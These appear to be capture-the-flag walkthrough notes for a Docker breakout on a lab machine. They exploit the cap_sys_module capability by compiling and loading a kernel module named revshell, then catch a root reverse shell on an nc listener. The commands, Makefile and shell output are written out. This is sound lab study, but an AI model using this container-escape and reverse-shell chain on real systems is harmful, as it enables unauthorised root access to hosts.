11 docker breakout > root

Using https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout

root@c0e88665f9ad:/usr/src/apache-ofbiz-17.12.01# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

# we have cap_sys_module

Using https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_module

# created 2 files
| revshell.c
| Makefile

# on target,
root@c0e88665f9ad:~# make
Makefile:4: *** missing separator.  Stop.

# had to make sure Makefile had tabs (not spaces)

$ cat -e -t -v Makefile
obj-m +=revshell.o$
$
all:$
^Imake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules$
$
clean:$
^Imake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

# ^I=tab
# $=end of line

root@c0e88665f9ad:~# make
make -C /lib/modules/4.15.0-151-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-151-generic'
  CC [M]  /root/revshell.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/revshell.mod.o
  LD [M]  /root/revshell.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-151-generic'

root@c0e88665f9ad:~# insmod revshell.ko

$ nc -lvnp 7070
listening on [any] 7070 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.238] 49672
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)